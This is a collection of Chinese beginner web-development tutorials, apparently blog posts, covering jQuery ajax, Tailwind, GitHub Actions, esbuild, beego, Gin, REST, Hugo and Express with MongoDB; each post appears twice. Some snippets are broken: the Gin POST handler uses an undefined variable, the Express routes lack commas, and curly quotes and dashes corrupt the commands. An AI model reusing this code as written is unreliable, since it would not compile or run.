ajax()是jQuery中定义的一个方法,该方法用于执行ajax请求,例如: $(document).ready(function(){ $("button").click(function(){ $.ajax({ type: "GET", url: "https://httpbin.org/get", success: function(getdata){ console.log(getdata) } }) }) }); 参数 url:指定发送请求的URL,默认是当前页面 type:指定请求方式(GET或者POST) success:当请求成功时执行的函数 data:指定要发送到服务端的数据 dataType:预期服务端响应过来的数据类型 async:指定请求是否异步(布尔值) beforeSend:在发送请求之前执行的函数 cache:指定客户端是否缓存被请求页面,默认是true(布尔值) complete:在请求完成时执行的函数(不管是否发送成功) contentType:指定要发送到服务端时使用的内容类型 context:指定所有ajax相关的回调函数规定this值 dataFilter:指定用于处理ajax返回的原始响应数据的函数 error:指定请求失败时执行的函数 global:指定请求是否触发全局ajax事件,默认为true ifModified:指定是否在最后一次请求 jsonp:指定一个jsonp请求中重写回调函数的字符串 jsonpCallback:指定一个jsonp回调函数的名称 processData:指定是否将请求发送的数据转换为查询字符串,默认为true scriptCharset:指定请求的字符集 timeout:指定请求超时时间(单位:毫秒) traditional:指定是否使用传统的方式来序列化数据 username:指定响应http访问认证请求的用户名 password:指定响应http访问认证请求的密码 xhr:用于重写或者增强XMLHttpRequest对象的函数
ajax()是jQuery中定义的一个方法,该方法用于执行ajax请求,例如: $(document).ready(function(){ $("button").click(function(){ $.ajax({ type: "GET", url: "https://httpbin.org/get", success: function(getdata){ console.log(getdata) } }) }) }); 参数 url:指定发送请求的URL,默认是当前页面 type:指定请求方式(GET或者POST) success:当请求成功时执行的函数 data:指定要发送到服务端的数据 dataType:预期服务端响应过来的数据类型 async:指定请求是否异步(布尔值) beforeSend:在发送请求之前执行的函数 cache:指定客户端是否缓存被请求页面,默认是true(布尔值) complete:在请求完成时执行的函数(不管是否发送成功) contentType:指定要发送到服务端时使用的内容类型 context:指定所有ajax相关的回调函数规定this值 dataFilter:指定用于处理ajax返回的原始响应数据的函数 error:指定请求失败时执行的函数 global:指定请求是否触发全局ajax事件,默认为true ifModified:指定是否在最后一次请求 jsonp:指定一个jsonp请求中重写回调函数的字符串 jsonpCallback:指定一个jsonp回调函数的名称 processData:指定是否将请求发送的数据转换为查询字符串,默认为true scriptCharset:指定请求的字符集 timeout:指定请求超时时间(单位:毫秒) traditional:指定是否使用传统的方式来序列化数据 username:指定响应http访问认证请求的用户名 password:指定响应http访问认证请求的密码 xhr:用于重写或者增强XMLHttpRequest对象的函数
TailwindCSS是一个CSS框架,我个人理解这东西就是根据class来生成css(按需),而不是像bootstrap那样,TailwindCSS是原子化的 安装 npm install tailwindcss 初始化tailwind.config.js npx tailwindcss init 在tailwind.config.js中content属性,表示着项目的html或者js文件 content: [ './src/**/*.{html,js}' ], 如果没有配置content属性,会警告 warn - The content option in your Tailwind CSS configuration is missing or empty. warn - Configure your content sources or your generated CSS will be missing styles. warn - https://tailwindcss.com/docs/content-configuration 创建一个css文件配置tailwind三大组件(base,components.utilities) @tailwind base; @tailwind components; @tailwind utilities; 如果使用的是webpacker或者postcss-import,不能使用@tailwind指令,需要 @import "tailwindcss/base"; @import "tailwindcss/components"; @import "tailwindcss/utilities"; 也可以将css导入到js中 import "tailwindcss/tailwind.css" tailwind编译 npx tailwindcss -i ./src/index.css -o ./dist/main.css 如果使用的是postcss postcss ./src/index.css -o ./dist/main.css 例如: hallo word 编译后的结果为 .text-gray-900 { --tw-text-opacity: 1; color: rgb(17 24 39 / var(--tw-text-opacity)); } 具体样式根据tailwindcss官方文档为准,https://tailwindcss.com/docs/ 当然也允许自定义,直接配置tailwind.config.js文件就好了(theme属性) Visual Studio Code插件Tailwind CSS IntelliSense,让tailwindcss使用更舒适
TailwindCSS是一个CSS框架,我个人理解这东西就是根据class来生成css(按需),而不是像bootstrap那样,TailwindCSS是原子化的 安装 npm install tailwindcss 初始化tailwind.config.js npx tailwindcss init 在tailwind.config.js中content属性,表示着项目的html或者js文件 content: [ './src/**/*.{html,js}' ], 如果没有配置content属性,会警告 warn - The content option in your Tailwind CSS configuration is missing or empty. warn - Configure your content sources or your generated CSS will be missing styles. warn - https://tailwindcss.com/docs/content-configuration 创建一个css文件配置tailwind三大组件(base,components.utilities) @tailwind base; @tailwind components; @tailwind utilities; 如果使用的是webpacker或者postcss-import,不能使用@tailwind指令,需要 @import "tailwindcss/base"; @import "tailwindcss/components"; @import "tailwindcss/utilities"; 也可以将css导入到js中 import "tailwindcss/tailwind.css" tailwind编译 npx tailwindcss -i ./src/index.css -o ./dist/main.css 如果使用的是postcss postcss ./src/index.css -o ./dist/main.css 例如: hallo word 编译后的结果为 .text-gray-900 { --tw-text-opacity: 1; color: rgb(17 24 39 / var(--tw-text-opacity)); } 具体样式根据tailwindcss官方文档为准,https://tailwindcss.com/docs/ 当然也允许自定义,直接配置tailwind.config.js文件就好了(theme属性) Visual Studio Code插件Tailwind CSS IntelliSense,让tailwindcss使用更舒适
CI:持续集成 (Continuous Integration) CD:持续交付 (Continuous Delivery) CD:持续部署 (Continuous Deployment) GitHub Actions是GitHub提供的持续集成服务 GitHub Actions官方文档:https://docs.github.com/en/actions workflow:工作流程,指一次持续集成的流程,由一个job或者多个job组成 Events:事件,触发流程的钩子(在github中事件为检测仓库特定活动的钩子,例如pull,当事件被触发则自动执行工作流程) Job:任务,任务是工作流程的主体 Steps:步骤,每个Job可以包含一个或多个Step Actions: 行为,每个Step包含一个或多个Action Runners: 执行环境,工作流程运行时的服务端,每一个执行环境可以运行一个任务 workflow工作流程通过编写workflow文件来描述,workflow文件要使用YAML语言编写,github支持多个workflow(当github发现.github/workflows/目录下有.yml文件时就会执行该文件) 在仓库的.github/workflows/目录下创建test.yml,其中要配置字段 name:workflow名称,如果省略默认为当前workflow的文件名 on:指定触发workflow的条件,一般为事件触发(比如说push) jobs:每一项任务都需要定义个job_id,job中的name为该任务的描述,needs为指定当前任务的运行顺序(依赖关系),runs-on为指定运行时需要的虚拟机环境(这个字段必须填) 目前github支持的虚拟机操作系统有ubuntu,windows,macOS,而且github提供的虚拟机是免费使用的 这里举个例子(github官方的) name: GitHub Actions Demo on: [push] jobs: Explore-GitHub-Actions: runs-on: ubuntu-latest steps: - run: echo " The job was automatically triggered by a ${{ github.event_name }} event." - run: echo " This job is now running on a ${{ runner.os }} server hosted by GitHub!" - run: echo " The name of your branch is ${{ github.ref }} and your repository is ${{ github.repository }}." - name: Check out repository code uses: actions/checkout@v2 - run: echo " The ${{ github.repository }} repository has been cloned to the runner." - run: echo " The workflow is now ready to test your code on the runner." - name: List files in the repository run: | ls ${{ github.workspace }} - run: echo " This job's status is ${{ job.status }}."
CI:持续集成 (Continuous Integration) CD:持续交付 (Continuous Delivery) CD:持续部署 (Continuous Deployment) GitHub Actions是GitHub提供的持续集成服务 GitHub Actions官方文档:https://docs.github.com/en/actions workflow:工作流程,指一次持续集成的流程,由一个job或者多个job组成 Events:事件,触发流程的钩子(在github中事件为检测仓库特定活动的钩子,例如pull,当事件被触发则自动执行工作流程) Job:任务,任务是工作流程的主体 Steps:步骤,每个Job可以包含一个或多个Step Actions: 行为,每个Step包含一个或多个Action Runners: 执行环境,工作流程运行时的服务端,每一个执行环境可以运行一个任务 workflow工作流程通过编写workflow文件来描述,workflow文件要使用YAML语言编写,github支持多个workflow(当github发现.github/workflows/目录下有.yml文件时就会执行该文件) 在仓库的.github/workflows/目录下创建test.yml,其中要配置字段 name:workflow名称,如果省略默认为当前workflow的文件名 on:指定触发workflow的条件,一般为事件触发(比如说push) jobs:每一项任务都需要定义个job_id,job中的name为该任务的描述,needs为指定当前任务的运行顺序(依赖关系),runs-on为指定运行时需要的虚拟机环境(这个字段必须填) 目前github支持的虚拟机操作系统有ubuntu,windows,macOS,而且github提供的虚拟机是免费使用的 这里举个例子(github官方的) name: GitHub Actions Demo on: [push] jobs: Explore-GitHub-Actions: runs-on: ubuntu-latest steps: - run: echo " The job was automatically triggered by a ${{ github.event_name }} event." - run: echo " This job is now running on a ${{ runner.os }} server hosted by GitHub!" - run: echo " The name of your branch is ${{ github.ref }} and your repository is ${{ github.repository }}." - name: Check out repository code uses: actions/checkout@v2 - run: echo " The ${{ github.repository }} repository has been cloned to the runner." - run: echo " The workflow is now ready to test your code on the runner." - name: List files in the repository run: | ls ${{ github.workspace }} - run: echo " This job's status is ${{ job.status }}."
ESbuild打包器基于Golang开发,优点在于可多线程打包,直接编译成机器码,ESbuild提供的api可在JavaScript和golang使用,连Vite在很多场景都依赖了ESbuild打包(viet在开发环境下使用这个),支持TypeScript和jsx(tsx),css ESbuild支持ES6模块,cjs模块,对ES6+语法支持性好,可以直接打包css文件,json文件,ts文件 注意:esbuild并不对ts文件进行类型检查工作 安装 npm install esbuild 或者 yarn add esbuild 打包 .\node_modules.bin\esbuild app.jsx –outfile=build/index.js –bundle 或者 npx esbuild app.jsx –outfile=build/index.js –bundle 或者package.json “build”: “esbuild app.jsx –outfile=build/index.js –bundle” npm run build 或者 yarn build 例子(app.jsx) import React from 'react' import ReactDOM from 'react-dom' const App = () => { return ( Hallo, Esbuild! ) } ReactDOM.render( , document.getElementById("app") ) index.html 我本地打包只花64ms就打包好了 使用source map功能 npx esbuild app.jsx –outfile=build/index.js –bundle –sourcemap 使用代码压缩功能–minify npx esbuild app.jsx –outfile=build/index.js –bundle –minify 指定打包目标环境 npx esbuild app.jsx –outfile=build/index.js –bundle –target=es2020,node12 注意:如果将ES6+语法编译成ES5语法是不被支持的,但是可以将ES5语法编译成ES6+的语法或者ES6语法升级为更先进的语法,也可以将ES6+语法降到ES6语法,就是不能降到ES5(估计这是为啥vite选择这个作为开发环境打包工具,而不是生产环境打包工具的原因吧,只有开发环境下,默认认为是现代浏览器(node)环境下工作的) 指定输出目标 npx esbuild app.jsx –outfile=build/index.js –bundle –target=es2020,node12 –platform=node –platform有3个值,分别是browser,node,neutral 默认情况下使用browser值,会将打包的代码放到IIFE(立即执行函数)中,并且对package.json依赖做出修改,会使用对目标友好的插件或者包来代替原来的 设置为node时,打包格式是cjs格式(CommonJS),会将其他风格转换为cjs格式 设置为neutral时,打包格式为esm格式 指定不进行打包构建的模块 npx esbuild app.jsx –outfile=build/index.js –bundle –platform=node –external:react esbuild.config.js,api调用文件 const postCssPlugin = require('@deanc/esbuild-plugin-postcss') const autoprefixer = require('autoprefixer') const esbuildConig = () => require('esbuild').buildSync({ entryPoints: ['src/app.jsx'], bundle: true, target: ['es2020','node12'], external: ['react'], loader: {'.jpg':'dataurl','.js':'jsx'}, platform: 'node', outfile: 'build/index.js', plugins: [ postCssPlugin({ plugins: [autoprefixer] }) ], }) esbuildConig() 通过执行node ./esbuild.config.js,来调用ESbuild API快速打包 当然也是可以使用npm script来设置 "scripts": { "build": "node ./esbuild.config.js" } npm run build 或者 yarn build 添加图片支持(通过转换成base64的方法来引用) npx esbuild app.jsx –outfile=build/index.js –bundle –loader:.jpg=dataurl 添加tsx支持(可以把tsx文件转换为普通的js文件) npx esbuild app.tsx –outfile=build/index.js –bundle –loader:.js=jsx esbuild社区插件库:https://github.com/esbuild/community-plugins
ESbuild打包器基于Golang开发,优点在于可多线程打包,直接编译成机器码,ESbuild提供的api可在JavaScript和golang使用,连Vite在很多场景都依赖了ESbuild打包(viet在开发环境下使用这个),支持TypeScript和jsx(tsx),css ESbuild支持ES6模块,cjs模块,对ES6+语法支持性好,可以直接打包css文件,json文件,ts文件 注意:esbuild并不对ts文件进行类型检查工作 安装 npm install esbuild 或者 yarn add esbuild 打包 .\node_modules.bin\esbuild app.jsx –outfile=build/index.js –bundle 或者 npx esbuild app.jsx –outfile=build/index.js –bundle 或者package.json “build”: “esbuild app.jsx –outfile=build/index.js –bundle” npm run build 或者 yarn build 例子(app.jsx) import React from 'react' import ReactDOM from 'react-dom' const App = () => { return ( Hallo, Esbuild! ) } ReactDOM.render( , document.getElementById("app") ) index.html 我本地打包只花64ms就打包好了 使用source map功能 npx esbuild app.jsx –outfile=build/index.js –bundle –sourcemap 使用代码压缩功能–minify npx esbuild app.jsx –outfile=build/index.js –bundle –minify 指定打包目标环境 npx esbuild app.jsx –outfile=build/index.js –bundle –target=es2020,node12 注意:如果将ES6+语法编译成ES5语法是不被支持的,但是可以将ES5语法编译成ES6+的语法或者ES6语法升级为更先进的语法,也可以将ES6+语法降到ES6语法,就是不能降到ES5(估计这是为啥vite选择这个作为开发环境打包工具,而不是生产环境打包工具的原因吧,只有开发环境下,默认认为是现代浏览器(node)环境下工作的) 指定输出目标 npx esbuild app.jsx –outfile=build/index.js –bundle –target=es2020,node12 –platform=node –platform有3个值,分别是browser,node,neutral 默认情况下使用browser值,会将打包的代码放到IIFE(立即执行函数)中,并且对package.json依赖做出修改,会使用对目标友好的插件或者包来代替原来的 设置为node时,打包格式是cjs格式(CommonJS),会将其他风格转换为cjs格式 设置为neutral时,打包格式为esm格式 指定不进行打包构建的模块 npx esbuild app.jsx –outfile=build/index.js –bundle –platform=node –external:react esbuild.config.js,api调用文件 const postCssPlugin = require('@deanc/esbuild-plugin-postcss') const autoprefixer = require('autoprefixer') const esbuildConig = () => require('esbuild').buildSync({ entryPoints: ['src/app.jsx'], bundle: true, target: ['es2020','node12'], external: ['react'], loader: {'.jpg':'dataurl','.js':'jsx'}, platform: 'node', outfile: 'build/index.js', plugins: [ postCssPlugin({ plugins: [autoprefixer] }) ], }) esbuildConig() 通过执行node ./esbuild.config.js,来调用ESbuild API快速打包 当然也是可以使用npm script来设置 "scripts": { "build": "node ./esbuild.config.js" } npm run build 或者 yarn build 添加图片支持(通过转换成base64的方法来引用) npx esbuild app.jsx –outfile=build/index.js –bundle –loader:.jpg=dataurl 添加tsx支持(可以把tsx文件转换为普通的js文件) npx esbuild app.tsx –outfile=build/index.js –bundle –loader:.js=jsx esbuild社区插件库:https://github.com/esbuild/community-plugins
beego是一个基于go语言开发的http框架,beego可用于开发web,api,后端服务等等应用,beego架构为mvc模型,支持RESTful api规范设计,支持热更新 安装 go get github.com/beego/beego go get github.com/beego/bee 检查是否安装完成 bee version beego项目可使用bee指令来创建和管理 创建第一个web应用 bee new hallo beego是基于mvc模型的,因此其构建出来的项目文件也是标准mvc模型文件结构,其中main.go是入口文件 执行go mod tidy,生成go.sum 启动项目(bee run指令会自动编译部署) bee run 访问http://127.0.0.1:8080/ 其他常用beeg指令 创建api应用 bee api apitest 打包应用命令(将项目打包压缩) bee pack 自动生成代码 bee generate controller控制器 简单接收一下get请求的参数 controllers/default.go,在func (c *MainController) Get() 函数中修改 name := c.GetString("name") c.Data["Website"] = name 访问http://127.0.0.1:8080/?name=hallo,views\index.tpl的模板中的{{.Website}}被设置为hallo 在controllers/default.go看到,其定义了一个MainController结构体,该结构体继承了beego.Controller的全部方法(其中方法包括Get,Post等等方法) Model模型 在bee new中并没有Model实例演示,但是bee api有,而且controller控制器可完成一些简单逻辑,只有当逻辑需要复用时才抽象成Model模型 View视图 在controllers/default.go看到c.TplName = “index.tpl”,这个语句就是设置模板文件,该模板支持tpl和html文件,beego使用了golang默认的模板引擎 在views/index.tpl中可以看到这个 Official website: {{.Website}} / Contact me: {{.Email}} 在controller中,定义了数据,并且该数据赋值给Data,在模板文件中通过{{.Email}}来访问到数据 数据库交互 bee generate scaffold test -fields=“id:int64,name:string” -driver=mysql -conn=“root:root@tcp(127.0.0.1:3306)/test” 上面这个命令会自动生成代码,其中-fields参数为字段,-driver为引擎,-conn为数据库登录信息 如果没有打错指令,会提示是否创建mvc模型的文件,根据提示选择是否要创建 在models下的test.go文件,可以看到已经添加了管理数据库的函数 静态文件的引用 beego默认使用static目录作为静态文件的目录,在main.go文件中beego.Run()之前配置StaticDir["/static"] = “static” 如果有多个静态文件目录,可使用beego.SetStaticPath("/test", “test”)
beego是一个基于go语言开发的http框架,beego可用于开发web,api,后端服务等等应用,beego架构为mvc模型,支持RESTful api规范设计,支持热更新 安装 go get github.com/beego/beego go get github.com/beego/bee 检查是否安装完成 bee version beego项目可使用bee指令来创建和管理 创建第一个web应用 bee new hallo beego是基于mvc模型的,因此其构建出来的项目文件也是标准mvc模型文件结构,其中main.go是入口文件 执行go mod tidy,生成go.sum 启动项目(bee run指令会自动编译部署) bee run 访问http://127.0.0.1:8080/ 其他常用beeg指令 创建api应用 bee api apitest 打包应用命令(将项目打包压缩) bee pack 自动生成代码 bee generate controller控制器 简单接收一下get请求的参数 controllers/default.go,在func (c *MainController) Get() 函数中修改 name := c.GetString("name") c.Data["Website"] = name 访问http://127.0.0.1:8080/?name=hallo,views\index.tpl的模板中的{{.Website}}被设置为hallo 在controllers/default.go看到,其定义了一个MainController结构体,该结构体继承了beego.Controller的全部方法(其中方法包括Get,Post等等方法) Model模型 在bee new中并没有Model实例演示,但是bee api有,而且controller控制器可完成一些简单逻辑,只有当逻辑需要复用时才抽象成Model模型 View视图 在controllers/default.go看到c.TplName = “index.tpl”,这个语句就是设置模板文件,该模板支持tpl和html文件,beego使用了golang默认的模板引擎 在views/index.tpl中可以看到这个 Official website: {{.Website}} / Contact me: {{.Email}} 在controller中,定义了数据,并且该数据赋值给Data,在模板文件中通过{{.Email}}来访问到数据 数据库交互 bee generate scaffold test -fields=“id:int64,name:string” -driver=mysql -conn=“root:root@tcp(127.0.0.1:3306)/test” 上面这个命令会自动生成代码,其中-fields参数为字段,-driver为引擎,-conn为数据库登录信息 如果没有打错指令,会提示是否创建mvc模型的文件,根据提示选择是否要创建 在models下的test.go文件,可以看到已经添加了管理数据库的函数 静态文件的引用 beego默认使用static目录作为静态文件的目录,在main.go文件中beego.Run()之前配置StaticDir["/static"] = “static” 如果有多个静态文件目录,可使用beego.SetStaticPath("/test", “test”)
Gin是一个基于go语言编写的web框架,因为Gin的路由库基于httprouter开发的,性能非常好,支持Restful api规范 安装 go get -u github.com/gin-gonic/gin 第一个demo package main import "github.com/gin-gonic/gin" import "net/http" func main() { g := gin.Default() g.GET("/", func(c *gin.Context) { c.String(http.StatusOK, "hallo word") }) g.Run() } go run main.go g.Run()是将应用部署到本地服务器上,默认端口为8080,可设置端口,g.Run(":2333") 路由 r.GET("/test/:name", func(c *gin.Context) { name := c.Param("name") c.String(http.StatusOK, name) }) g.Run(":6666") 127.0.0.1:6666/test/xiaochen 可以看到Context的Param方法可以获取路由的参数 通过url传递参数 r.GET("/test", func(c *gin.Context) { name := c.DefaultQuery("name", "test") c.String(http.StatusOK, fmt.Sprintf("hallo %s", name)) }) r.Run() 127.0.0.1:6666/test 如果没有传递参数将会输出DefaultQuery的默认参数test 传递参数后 127.0.0.1:6666/test?name=word POST请求 index.html main.go r.POST("/form", func(c *gin.Context) { types := c.DefaultPostForm("type", "post") user := c.PostForm("user") pass := c.PostForm("pass") c.String(http.StatusOK, fmt.Sprintf("user:%s,pass:%s,type:%s", name, pass, types)) }) r.Run()
Gin是一个基于go语言编写的web框架,因为Gin的路由库基于httprouter开发的,性能非常好,支持Restful api规范 安装 go get -u github.com/gin-gonic/gin 第一个demo package main import "github.com/gin-gonic/gin" import "net/http" func main() { g := gin.Default() g.GET("/", func(c *gin.Context) { c.String(http.StatusOK, "hallo word") }) g.Run() } go run main.go g.Run()是将应用部署到本地服务器上,默认端口为8080,可设置端口,g.Run(":2333") 路由 r.GET("/test/:name", func(c *gin.Context) { name := c.Param("name") c.String(http.StatusOK, name) }) g.Run(":6666") 127.0.0.1:6666/test/xiaochen 可以看到Context的Param方法可以获取路由的参数 通过url传递参数 r.GET("/test", func(c *gin.Context) { name := c.DefaultQuery("name", "test") c.String(http.StatusOK, fmt.Sprintf("hallo %s", name)) }) r.Run() 127.0.0.1:6666/test 如果没有传递参数将会输出DefaultQuery的默认参数test 传递参数后 127.0.0.1:6666/test?name=word POST请求 index.html main.go r.POST("/form", func(c *gin.Context) { types := c.DefaultPostForm("type", "post") user := c.PostForm("user") pass := c.PostForm("pass") c.String(http.StatusOK, fmt.Sprintf("user:%s,pass:%s,type:%s", name, pass, types)) }) r.Run()
RESTful是指满足REST的约束条件和原则的应用或者设计,REST全称Representational State Transfer(表现层状态转移),REST出现在2000年Roy Fielding的博士论文中(Roy Fielding是HTTP规范的主要编写者之一),RESTful是目前最流行的API设计规范 资源(Resources):REST是基于资源的,不同的资源使用不同且唯一的URI(统一资源标识符(Uniform Resource Identifier),URI格式例如:/img/hallo.jpg,可表示一个资源的路径和资源名称,URI实质上就是URL加URN)表示,获取资源通过访问URI得到,这个资源可以是任何东西(例如txt,exe,iso,mp3,mp4等等) 表示层(Representation):表示层指是将资源具体内容以某种方式展现出来的,例如hallo.mp3,那么就会用mp3的格式来展现这个文件的内容 状态转换(State Transfer):如果希望客户端通过某种请求方式来让服务端表示层的资源发生改变,这就是状态转换,这请求方式分别为GET(获取资源),POST(新建资源),PUT(更新资源),DELETE(删除资源) RESTful设计规范的六个规范: 1.客户端/服务端(C/S)关注点分离,客户端专注于用户的操作界面,服务端专注于数据存储 2.无状态,要求客户端的每个请求都要拥有完成请求的全部信息,服务端不用存储任何上下文信息,会话信息存储在客户端上 3.统一接口(Uniform Interface),要求使用具备REST规范(资源标识符,资源状态的修改,具备描述资源怎么操作处理的信息,客户端应使用超链接的方式来动态访问其他资源)的接口 4.可缓存(Cache),允许服务端响应可被缓存或者不可缓存(必须明确是否可缓存),如果响应可缓存,客户端可以根据有效缓存时间,来复用响应,减少前后端交互 5.分层系统,不允许跨层访问(访问不相邻的层) 6.按需编码(可选,可理解为按需扩展客户端功能),允许服务端提供一些脚本来扩展客户端功能(例如JavaScript) api接口统一域名(推荐使用api.xiaochenabc123.test.com这样的格式) URI(不使用大写,使用中杆-,资源名字是复数名词,资源实体集合,不能出现动词) HTTP请求方式(不同的操作使用不同的请求方式,例如获取资源使用get,post新建资源等等) 如果资源庞大,可通过get参数的形式获取(例如分页),API的版本号应该放在URI中,更改资源,应该修改资源版本号,原有的URI应该保持继续可用 需正确设置http状态码,根据http状态码来做出不同的响应,例如200正常返回,404文件不存在等等 简单来说就是使用唯一接口,通过URL来访问不同的资源,通过不同的请求方式对资源做出响应
RESTful是指满足REST的约束条件和原则的应用或者设计,REST全称Representational State Transfer(表现层状态转移),REST出现在2000年Roy Fielding的博士论文中(Roy Fielding是HTTP规范的主要编写者之一),RESTful是目前最流行的API设计规范 资源(Resources):REST是基于资源的,不同的资源使用不同且唯一的URI(统一资源标识符(Uniform Resource Identifier),URI格式例如:/img/hallo.jpg,可表示一个资源的路径和资源名称,URI实质上就是URL加URN)表示,获取资源通过访问URI得到,这个资源可以是任何东西(例如txt,exe,iso,mp3,mp4等等) 表示层(Representation):表示层指是将资源具体内容以某种方式展现出来的,例如hallo.mp3,那么就会用mp3的格式来展现这个文件的内容 状态转换(State Transfer):如果希望客户端通过某种请求方式来让服务端表示层的资源发生改变,这就是状态转换,这请求方式分别为GET(获取资源),POST(新建资源),PUT(更新资源),DELETE(删除资源) RESTful设计规范的六个规范: 1.客户端/服务端(C/S)关注点分离,客户端专注于用户的操作界面,服务端专注于数据存储 2.无状态,要求客户端的每个请求都要拥有完成请求的全部信息,服务端不用存储任何上下文信息,会话信息存储在客户端上 3.统一接口(Uniform Interface),要求使用具备REST规范(资源标识符,资源状态的修改,具备描述资源怎么操作处理的信息,客户端应使用超链接的方式来动态访问其他资源)的接口 4.可缓存(Cache),允许服务端响应可被缓存或者不可缓存(必须明确是否可缓存),如果响应可缓存,客户端可以根据有效缓存时间,来复用响应,减少前后端交互 5.分层系统,不允许跨层访问(访问不相邻的层) 6.按需编码(可选,可理解为按需扩展客户端功能),允许服务端提供一些脚本来扩展客户端功能(例如JavaScript) api接口统一域名(推荐使用api.xiaochenabc123.test.com这样的格式) URI(不使用大写,使用中杆-,资源名字是复数名词,资源实体集合,不能出现动词) HTTP请求方式(不同的操作使用不同的请求方式,例如获取资源使用get,post新建资源等等) 如果资源庞大,可通过get参数的形式获取(例如分页),API的版本号应该放在URI中,更改资源,应该修改资源版本号,原有的URI应该保持继续可用 需正确设置http状态码,根据http状态码来做出不同的响应,例如200正常返回,404文件不存在等等 简单来说就是使用唯一接口,通过URL来访问不同的资源,通过不同的请求方式对资源做出响应
Hugo是基于Go语言开发的静态网站生成器,特点就是快 安装 二进制文件安装(由官方编译完成的二进制文件来安装,推荐使用,用源码容易出现问题) https://github.com/gohugoio/hugo/releases 源码安装 git clone https://github.com/gohugoio/hugo.git cd hugo go install 检查是否安装完成 hugo -v,如果需要支持SASS/SCSS,请添加–tags extended参数,不过在这之前需要CGO的依赖(或者使用hugo_extended版本) 如果没安装CGO,请先安装CGO,这里使用的是mingw64,CGO_ENABLED环境变量为1 生成站点 hugo new site ./www 创建文章(默认自动生成md文件到content文件夹中,可选择目录) hugo new post/hallo.md 如果没有显示文章的话,请将文章的draft字段改为false,因为这个是草稿,草稿是不会显示在页面上的 安装主题 git clone https://github.com/miiiku/hugo-theme-kagome.git ./themes/kagome 修改config.toml文件 baseURL = ‘https://blog.xiaochenabc123.test.com’ languageCode = ‘zh-CN’ title = ‘小陈的博客’ theme = “kagome” 启动Hugo服务器 hugo server 访问http://localhost:1313 如果报错,you need the extended version to build SCSS/SASS的话,请使用extended版本 部署到github pages hugo –baseUrl=“http://chenjunlinabc.github.io/" 如果该命令执行成功,会将静态页面生成到public文件夹中,只需要push该文件夹到github上就好了
Hugo是基于Go语言开发的静态网站生成器,特点就是快 安装 二进制文件安装(由官方编译完成的二进制文件来安装,推荐使用,用源码容易出现问题) https://github.com/gohugoio/hugo/releases 源码安装 git clone https://github.com/gohugoio/hugo.git cd hugo go install 检查是否安装完成 hugo -v,如果需要支持SASS/SCSS,请添加–tags extended参数,不过在这之前需要CGO的依赖(或者使用hugo_extended版本) 如果没安装CGO,请先安装CGO,这里使用的是mingw64,CGO_ENABLED环境变量为1 生成站点 hugo new site ./www 创建文章(默认自动生成md文件到content文件夹中,可选择目录) hugo new post/hallo.md 如果没有显示文章的话,请将文章的draft字段改为false,因为这个是草稿,草稿是不会显示在页面上的 安装主题 git clone https://github.com/miiiku/hugo-theme-kagome.git ./themes/kagome 修改config.toml文件 baseURL = ‘https://blog.xiaochenabc123.test.com’ languageCode = ‘zh-CN’ title = ‘小陈的博客’ theme = “kagome” 启动Hugo服务器 hugo server 访问http://localhost:1313 如果报错,you need the extended version to build SCSS/SASS的话,请使用extended版本 部署到github pages hugo –baseUrl=“http://chenjunlinabc.github.io/" 如果该命令执行成功,会将静态页面生成到public文件夹中,只需要push该文件夹到github上就好了
Express是基于nodejs的web应用框架(同时也是node的第三库),同时也是很多web应用框架的底层库,Express是cjs模块标准的http服务框架 安装 npm install express –save 或者安装express-generator脚手架 npm install -g express-generator 脚手架: 初始化项目(demo是项目名) express demo 安装依赖 npm install 运行 npm start 如果不使用脚手架(main.js) const express = require("express") const app = express() app.get('/',function(req,res){ res.end("hallo world!") }) app.listen(3000) 运行 node main.js 或者(监视nodejs应用中的任何更改并自动重启服务) nodemon main.js 访问localhost:3000 静态文件管理(必须通过/src才能访问src文件夹的静态文件) app.use(’/src’,express.static(‘src’)) 解决跨域问题(依赖于cors模块) app.use(require(‘cors’)()) Express连接MongoDB(mongoose) npm install mongoose const mongoose = require('mongoose') mongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true}) const testdb = mongoose.model('testdb',new mongoose.Schema({ _id: Number, title: String })) /*testdb.inserMany([ {_id: 1, title: "abc"}, {_id: 2, title: "xyz"} {_id: 3, title: "abcxyz"} ])*/ app.get('/test',async function(req,res){ res.send(await testdb.find()) }) 查询MongoDB数据 app.get('/test',async function(req,res){ // const data = await testdb.find().skip(1).limit(2) /* const data = await testdb.find().where({ title: 'abc' */ const data = await testdb.find().sort({ _id: -1 }) res.send(data) }) skip(1)跳过多少条,limit(2)显示多少条,where()可指定查询某个字段为某个值的数据,sort()表示排序的顺序(1为正序,-1为倒序) app.get('/test/:id',async function(req,res){ const data = await testdb.findById(req.params.id) res.send(data) }) 访问localhost:3000/test/2 注意:req和res的区别,req是客户端请求,res是服务端响应 插入数据到MongoDB中 app.use(express.json()) // 通过express.json()中间件,解析body中的json数据 app.post('/admin' async function(req,res){ const data = req.body // 获取前端post请求的body数据 const dataMain = await testdb.create(data) // body数据create到MongoDB数据库中 res.send(dataMain) }) 修改MongoDB数据 app.put('/admin/:id' async function(req,res){ const data = await testdb.findById(req.params.id) // 寻找目标id data.title = req.body.title // 将请求body的title赋值到数据库中的目标id的title await data.save() // 保存到数据库中 res.send(data) }) 删除MongoDB数据 app.delete('/admin/:id' async function(req,res){ const data = await testdb.findById(req.params.id) // 寻找目标id await data.remove() // 从数据库中删除该数据 res.send({ code: 200 }) })
Express是基于nodejs的web应用框架(同时也是node的第三库),同时也是很多web应用框架的底层库,Express是cjs模块标准的http服务框架 安装 npm install express –save 或者安装express-generator脚手架 npm install -g express-generator 脚手架: 初始化项目(demo是项目名) express demo 安装依赖 npm install 运行 npm start 如果不使用脚手架(main.js) const express = require("express") const app = express() app.get('/',function(req,res){ res.end("hallo world!") }) app.listen(3000) 运行 node main.js 或者(监视nodejs应用中的任何更改并自动重启服务) nodemon main.js 访问localhost:3000 静态文件管理(必须通过/src才能访问src文件夹的静态文件) app.use(’/src’,express.static(‘src’)) 解决跨域问题(依赖于cors模块) app.use(require(‘cors’)()) Express连接MongoDB(mongoose) npm install mongoose const mongoose = require('mongoose') mongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true}) const testdb = mongoose.model('testdb',new mongoose.Schema({ _id: Number, title: String })) /*testdb.inserMany([ {_id: 1, title: "abc"}, {_id: 2, title: "xyz"} {_id: 3, title: "abcxyz"} ])*/ app.get('/test',async function(req,res){ res.send(await testdb.find()) }) 查询MongoDB数据 app.get('/test',async function(req,res){ // const data = await testdb.find().skip(1).limit(2) /* const data = await testdb.find().where({ title: 'abc' */ const data = await testdb.find().sort({ _id: -1 }) res.send(data) }) 